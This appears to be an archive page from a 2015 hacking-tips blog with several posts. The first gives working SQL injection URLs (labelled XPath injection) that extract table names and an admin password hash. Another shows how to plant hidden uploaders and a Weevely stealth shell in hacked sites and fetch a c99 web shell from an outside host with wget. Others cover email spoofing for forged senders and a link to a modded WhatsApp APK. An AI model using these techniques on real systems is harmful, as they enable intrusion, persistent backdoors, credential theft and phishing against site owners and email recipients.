September 2015 | HashWares

XPath Injection (Exploitation)

<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-sJOgRAPtel5_lkpI36r_j_IO7RgN9MNPdzYNFqySF8KOfz-_Euz-UMCa5d-vKGfGxgGJsUuBudhS95yzfkp1pXZWqycEWskPI6rKg7LcJ1LzFDjg0dlKgpRl3BlZpALLkQ6PEdQitRA/s1600/XPath-Injection-tutorials.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-sJOgRAPtel5_lkpI36r_j_IO7RgN9MNPdzYNFqySF8KOfz-_Euz-UMCa5d-vKGfGxgGJsUuBudhS95yzfkp1pXZWqycEWskPI6rKg7LcJ1LzFDjg0dlKgpRl3BlZpALLkQ6PEdQitRA/s1600/XPath-Injection-tutorials.png" /></a></div>
 
 
If the website is Vulnerable to XPath Vulnerability , The Attacker can Inject XPath Element  in a query that uses this language. when  website use client-supplied information to construct an XPath query to get XML data.  
 
 
<h3>
When To Use It? </h3>
 
 Let us assume we have found a vulnerable site, after ORDER BY we get 7 columns but when we try to *actually* inject it using UNION SELECT it says like "The used SELECT statements have a different number of columns".  
 
Let  the vulnerable website is www.examplevulnweb.com/ex.php?s= , where ex.php?s= is vulnerable .
We'll use extractvalue()

ExtractValue() is function in MySQL that extracts a value from an XML string using XPath notation.  
 
The function takes input in the following form: 
 
ExtractValue(xml_frag, xpath_expr) 
If the XPath query is syntactically incorrect, we are presented with an error message:
XPATH syntax error: 'QueryHere'  
 
So we can get the version using this query:  
http://examplevulnweb.com/ex.php?s=1 and extractvalue(rand(),concat(0x3a,version())--  
 
We'll get something like this:  
XPATH syntax error: DB Version  
 
 We'll have to get the tables one by one, like:  
http://examplevulnweb.com/ex.php?s=1 and extractvalue(rand(),concat(0x7e,(select concat(0x20,table_name) from information_schema.tables limit 0,1)))--  
 
The result'd be something like:  
XPATH syntax error: ~ admin  
 
Then we'll get the columns:  
http://examplevulnweb.com/x.php?x=1 and extractvalue(rand(),concat(0x7e,(select concat(0x20,column_name) from information_schema.columns where table_name=0x61646d696e limit 0,1)))--  
 
 
<h3>
Result: </h3>
XPATH syntax error: ~ password  
 
and finally we'll grab the data:  
http://examplevulnweb/ex.php?s and extractvalue(rand(),concat(0x7e,(select password from adminlimit 0,1)))--  
 
and the output would be:  
 
XPATH syntax error: ~ 21232f297a57a5a743894a0e4a801fc3

XPath Injection (Exploitation)

If the website is Vulnerable to XPath Vulnerability , The Attacker can Inject XPath Element in a query that uses this language. when website use client-supplied information to construct an XPath qu…

09 Sep 2015

Use Two Whatsapp Account On One Phone Without Root

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb2em8_QeIlYPq1bQ9rq3Vy9GwWJCYr6OH_4cdj9YD-N8n3MWiemVIIHht767xgCC19ww0xprPZrnqZIU0nmv_WcwGnOj4JXPHfQ1174HDr6VnyIcm2K1CPxdjrLwC8PR3hOWqH15zCjg/s1600/two-whatsapp-single-phone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="262" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb2em8_QeIlYPq1bQ9rq3Vy9GwWJCYr6OH_4cdj9YD-N8n3MWiemVIIHht767xgCC19ww0xprPZrnqZIU0nmv_WcwGnOj4JXPHfQ1174HDr6VnyIcm2K1CPxdjrLwC8PR3hOWqH15zCjg/s400/two-whatsapp-single-phone.png" width="400" /></a></div>
 
Whatsapp is available for all smartphones like Nokia , Lumia , Samsung , iPhones and Blackberry Using Operating systems <a href="http://www.hashwares.com/search/label/Android" target="_blank">Android</a> , Windows , iOs and Blackberry's OS . But You Can Use Only One Whatsapp Account On a Single Smartphone . today i am going to show the way to Use two Whatsapp Account On a Single Android Smartphone Using WhatsMapp , I Bet You Already Seen Articles about Og Whatsapp but it give obsolete Error , it has Additional Features which will be discussed Later in this article so keep reading . 
 
<h3>
Features Of Dual Whatsapp ( WhatsMapp ) : </h3>
<div>
<ul>
<li>Its <a href="http://www.hashwares.com/2015/06/rooting-android-with-single-click.html" target="_blank">Works Awesome With Non-Rooted Phones</a> Too .</li>
<li>No Bugs and Errors .</li>
<li>You can Hide Last Seen . Control Single , Double and Blue Ticks </li>
<li>Calling Feature Activated .</li>
<li>Updated Application with Best Performance .</li>
<li>Stabled Version .</li>
</ul>
<h3>
Requirements :</h3>
</div>
<div>
<ul>
<li>Android Phone .</li>
<li>Internet Connection.</li>
</ul>
<h3>
Steps To Install Dual Whatsapp In Single Android Phone :</h3>
</div>
<div>
<ul>
<li>First Of all Download WhatsMapp App ( <a href="http://ehowtutorials.net/WAMappsolo(HashWares.com%20&%20eHowTutorials.net).apk" target="_blank">Direct Link</a> ) .</li>
<li>Now install WhatsMapp app to your android Phone.</li>
<li>After Installation , Open WhatsMapp and Enter Your Second Number (Which You Want to use as  Second Account) </li>
<li>Verify your new Number .</li>
<li>Tadaaaaaa Now You are Using Two Whatsapp On A Single Phone , Enjoy And Don't Forget To Thanks in Comments </li>
</ul>
<h3>
Final Words:</h3>
</div>
<div>
<div id="bk">
If you are Facing any kind of problem related to " Using 2 Whatsapp Account on a Single Android Phone " so comment below we will respond as soon as possible , please support us by sharing

or at-least by appreciating our work . So We can serve you in a Better Manner . </div>
<div>
</div>
</div>

Use Two Whatsapp Account On One Phone Without Root

Whatsapp is available for all smartphones like Nokia , Lumia , Samsung , iPhones and Blackberry Using Operating systems Android , Windows , iOs and Blackberry's OS . But You Can Use Only One Whatsapp…

08 Sep 2015

Combine Facebook Cover Photo With Profile Picture

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2XC6YRc5lA0VmIDHm6WrFY37JXYBGzp1VzMvJLFxvQFAsomSTiz0GCuzxSy0vtzq8O56qqahIqM2EZzWrFMGFwapSEAAlt3_pi0aQXomvht6NJl-T_66Fa20BFOoE_FUbfA8VVeBjGE8/s1600/combine-profile-photo-and-cover-facebook.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2XC6YRc5lA0VmIDHm6WrFY37JXYBGzp1VzMvJLFxvQFAsomSTiz0GCuzxSy0vtzq8O56qqahIqM2EZzWrFMGFwapSEAAlt3_pi0aQXomvht6NJl-T_66Fa20BFOoE_FUbfA8VVeBjGE8/s400/combine-profile-photo-and-cover-facebook.png" width="400" /></a></div>
 
Hello , Back ! With new article about how you can "Combine <a href="http://www.hashwares.com/search/label/Facebook" target="_blank">Facebook</a> Cover Photos With Profile Picture" or in Other words "Create Seamless Cover Photo and Profile Picture " , Facebook Introduced Timeline Feature Years Ago and It Looks so Cool If Your Cover Photo And Profile Pictures Seems To Have No Difference or They  Are Combined , So Let Me Explain You The Simple Steps :  
<ol>
<li>First Step Is Optional But Most recommended Like our <a href="https://www.facebook.com/HashWares" target="_blank">Facebook Page </a>  .</li>
<li>Now Go To TrickedOutTimeline's Website  which is <a href="http://www.trickedouttimeline.com/" target="_blank">http://www.trickedouttimeline.com</a></li>
<li>Now Choose You Style From Following Four Styles :  - Merge Profile Picture and Cover Photo .  - Missing Jigsaw Piece .  - Tear Off The Bottom Edge .  - Profile Picture Zoom.</li>
<li>Now Choose The Photo and Click Upload or you can use your current cover photo </li>
<li>You are Done With it , Go And Update Your Cover and Profile Picture .</li>
</ol>
<h3>
Don't forget To Like Us :)</h3>

Combine Facebook Cover Photo With Profile Picture

Hello , Back ! With new article about how you can "Combine Facebook Cover Photos With Profile Picture" or in Other words "Create Seamless Cover Photo and Profile Picture " , Facebook Introduced Timel…

07 Sep 2015

Ways To Backdoor/Secure Servers

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYLHiWraWkXpx2cBrpZotUAzjeSSMEP76PcC04s44R495utU5Csr2KruuTgj2Jv-sBGuEV36YKgUDmMLNWk27B4M3TpadKt1ts4ulJjUXj4fOGBi7aQwmjjheoTB9ylnMGjbozTnr_RiU/s1600/backdorr-secure-website-servers.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYLHiWraWkXpx2cBrpZotUAzjeSSMEP76PcC04s44R495utU5Csr2KruuTgj2Jv-sBGuEV36YKgUDmMLNWk27B4M3TpadKt1ts4ulJjUXj4fOGBi7aQwmjjheoTB9ylnMGjbozTnr_RiU/s1600/backdorr-secure-website-servers.png" /></a></div>
<h2 style="text-align: left;">
Backdooring Of WebShell :</h2>
<div style="text-align: left;">
<a href="http://www.hashwares.com/2015/07/setup-droidjack-android-rat-port.html" target="_blank">Backdooring</a> is an art in which every Hacker should be an artist .. So when a hacker
 hack a site . He defaces and then the so called admin of that website
 pop up and recover the site . He will absolutely Delete Your Shell so 
after sometime if an hacker want to connect back ! So their is no chance
 to get back into the server . So Today I am going to Show You Top 2 
Shell Backdooring Techniques For every hacker should know . You Might 
Know these Techniques but you should continue Reading this article .So 
the first Method is Hidden File Uploader ! The Second One Is make a stealth Shell With Weevely So let 
us move on to the First Method Which Is  
 
<ol>
</ol>
<ul>
<li><h3>
Backdooring With Hidden Uploaders :</h3>
</li>
</ul>
<ol>
</ol>
  
So <a href="http://www.hashwares.com/2015/07/setup-droidjack-android-rat-port.html" target="_blank">backdoored</a>  uploader is like a hidden uploader u can backdoor
 any php file like index.php , config.php etc etc so 
 
<div class="tynt-speedshare-bar">
</div>
 copy below encoded 
code and copy that into the source code of that File !  
 
As php is a 
Server side language so our code will never revealed until someone edit 
it , for accessing just add ?thx after your backdoored file like Hashwares.com/test.php?thx
 I will show a hidden uploader you can upload any kind of 
file with any extension like jpg,jpeg,php,asp,gif and all of that 
 but it will be awesome if you password protect it , its your duty to 
password protect your Hidden Uploader , and if you stuck in a problem 
feel free to ask me ! Let Us Move On To the 3rd Method which is  
 
<ul>
<li><h3>
 Using 
Weevely Tiny Stealth Shell: </h3>
</li>
</ul>
So what Is Weevely ? Well Weevely Is a 
program that makes Tiny Stealth Shell . As Stealth Mean its Fully 
Undetectable. No One can access it except you ! How it works ? For this 
you should have Kali Linux or You Can Install Weevely On Your PC (I will
 share how to install Weevely On windows until then use Kali Linux Or 
Google it ) next step is that generating a shell in Kali's Command 
Prompt or Terminal Type Weevely Then type "Generate your-pass" (without 
quotes) , it will make a php File Named Generate .php Open it With Vim 
Or notepad and copy that Encoded Code and paste it in any file which you
 wanna Backdoor , when you have done that Get back your kali Terminal 
or Windows' Weevely and type " Weevely http://ehowtutorials.net/index.php your-pass " (without quote) so after that you will be able to run any command their like "wget <a data-reactid=".pq.$mid=11424196895057=2d99ba40e5865a29e25.2:0.0.0.0.0.0.$range2:0" href="http://sh3ll.org/c99.txt" rel="nofollow" target="_blank">http://sh3ll.org/c99.txt</a>
 shell.php " (without quote) so it will get shell.php in the same 
directory as index.php has this is the full method . To use Weevely on 
windows command will be changed like Weevely.py <a data-reactid=".pq.$mid=11424196895057=2d99ba40e5865a29e25.2:0.0.0.0.0.0.$range3:0" href="http://hashwares.com/index.php" rel="nofollow" target="_blank">http://hashwares.com/index.php</a> your-pass but first you should install python on your windows, then install Weevely  
 
<h2>
Securing Your Server :</h2>
Q. So the Question for Web-Developers is How To Secure You Websites or Servers From <a href="http://www.hashwares.com/2015/07/setup-droidjack-android-rat-port.html" target="_blank">Backdoors</a>?   
Answer.  When your website got hacked just wipe all the data and restore the backup (if you already created) , if you didn't backup so please read and check each and every file of your Server . 
 
Having Any Problem ? <a href="mailto:Baber@hashwares.com" target="_blank">email us</a> Or Contact us On <a href="http://facebook.com/Hashwares.com" target="_blank">Facebook</a> !!</div>
</div>

Ways To Backdoor/Secure Servers

Backdooring Of WebShell : Backdooring is an art in which every Hacker should be an artist .. So when a hacker hack a site . He defaces and then the so called admin of that website pop up and recove…

04 Sep 2015

Email Spoofing Tutorial

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3vn_y6RwOG6GgNq5MSXjL8Z8zl_uqA0Z5Qlo7sO7H5PmiRdEruapsfKenlypGNHLJN_A7iGjklxZhK-o8UK-UMpgbKrc_lNi0Wz9tDxt8Fxd9FExkv-HnLxLLnTOKbvbDF3r_XW0RbS0/s1600/Email+Spoofing+Online+-+What+is+Email+Spoofing.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3vn_y6RwOG6GgNq5MSXjL8Z8zl_uqA0Z5Qlo7sO7H5PmiRdEruapsfKenlypGNHLJN_A7iGjklxZhK-o8UK-UMpgbKrc_lNi0Wz9tDxt8Fxd9FExkv-HnLxLLnTOKbvbDF3r_XW0RbS0/s1600/Email+Spoofing+Online+-+What+is+Email+Spoofing.png" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
</div>
Today's Article is about Email spoofing , There are two ways to spoof email First one is To Use PHP Script uploaded on a server and Second one is Use Online Services to Spoof email . READ ABOUT <a href="http://www.hashwares.com/2015/07/sms-spoofing-tutorial.html" target="_blank">SMS SPOOFING</a> !! 
 
 Lets Check What <a href="https://en.wikipedia.org/wiki/Email_spoofing" rel="nofollow" target="_blank">Wikipedia</a> Says About Email Spoofing :  
 
<div id="bk">
Email spoofing is the creation of email messages with a forged sender address. It is easy to do because the core protocols do not have any mechanism for authentication. It can be accomplished from within a LAN or from an external environment using Trojan horses. Spam and phishing emails typically use such spoofing to mislead the recipient about the origin of the message.</div>
But today i am using Online service to Spoof Email (source : <a href="https://en.wikipedia.org/wiki/Email_spoofing" target="_blank">Wikipedia</a> ) 
<ul>
<li>Go To <a href="https://emkei.cz/" target="_blank">emkei.cz </a></li>
<li>Fill All the Fields and Just Click Send Tadaaaa </li>
</ul>
<h2>
Screenshots :  </h2>
<h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTMta9cWniEx93FJ6GHPcdd0FUne_oTvZDOmVJTRB2VJsX5vC9h9b75E-NJceBe_LbPSSjfbamHquwZ5fAhdKtzaEPQ5CTN9O9g7HAivFJqfbo1gtfhs2lOxas_dpxzeIXQmaEDtr6aDU/s1600/Email-Spoofing-Tutorials-2015.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="178" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTMta9cWniEx93FJ6GHPcdd0FUne_oTvZDOmVJTRB2VJsX5vC9h9b75E-NJceBe_LbPSSjfbamHquwZ5fAhdKtzaEPQ5CTN9O9g7HAivFJqfbo1gtfhs2lOxas_dpxzeIXQmaEDtr6aDU/s320/Email-Spoofing-Tutorials-2015.png" width="320" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVCd_hDF8WaPTfhuIs5R7aMjw89eIBu0KHLCIWAlh65Y2XXLoe_1laHHP0Y5EZZWO-uJTQgzD60AFHbFQc1I2b2CqvNtIS191e5qiDyaxX-I2MYALvVEGwSGim6F7G_zFSiAzuEOgIBkE/s1600/Email-Spoofing-Tutorials%253D2015.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVCd_hDF8WaPTfhuIs5R7aMjw89eIBu0KHLCIWAlh65Y2XXLoe_1laHHP0Y5EZZWO-uJTQgzD60AFHbFQc1I2b2CqvNtIS191e5qiDyaxX-I2MYALvVEGwSGim6F7G_zFSiAzuEOgIBkE/s320/Email-Spoofing-Tutorials%253D2015.png" width="294" /></a></div>

</h2>
<ul>
</ul>

Email Spoofing Tutorial

Today's Article is about Email spoofing , There are two ways to spoof email First one is To Use PHP Script uploaded on a server and Second one is Use Online Services to Spoof email . READ ABOUT SMS S…

01 Sep 2015

Load more posts

HashWares | eHow's Library

XPath Injection (Exploitation)

Use Two Whatsapp Account On One Phone Without Root

Combine Facebook Cover Photo With Profile Picture

Ways To Backdoor/Secure Servers

Email Spoofing Tutorial

Popular Posts

Blog Archive